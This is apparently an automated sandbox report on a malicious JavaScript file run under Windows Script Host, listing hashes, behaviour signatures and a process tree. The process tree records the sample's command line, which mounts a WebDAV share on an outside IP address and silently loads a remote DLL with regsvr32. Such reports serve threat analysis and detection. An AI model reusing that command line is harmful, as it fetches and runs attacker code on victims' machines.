Analysis

  • max time kernel
    94s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 05:37

General

  • Target

    705225698317283272.js

  • Size

    4KB

  • MD5

    b34c90be12f26c1f67e81336c68f92b4

  • SHA1

    88167a4dddccf9d69526940574eb57b7604ee9cf

  • SHA256

    e52c50d496373773f9397f3c251af8b14c3bb4237b90da093c2be2fff76f08a4

  • SHA512

    6e5554c83d2eee0f1c508b0d3b965135e30cae41315be7c83a0e4e534ee0c5d3c68e058327c1a4f742bab80bf2f3debf40c6c4ca4ec7bc4cec75d5f7026ee12f

  • SSDEEP

    96:mKVLBKGrC/D14KVlKVfGIoaSSKgrbAKV6pkK7oaSSKUBkO+KmVAFKqAkjWVAFKq8:mK9BKCkD14KVlKVfzoaSSKgrbAKV6pk7

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\705225698317283272.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3588
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\726686298279.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3600
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1576

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads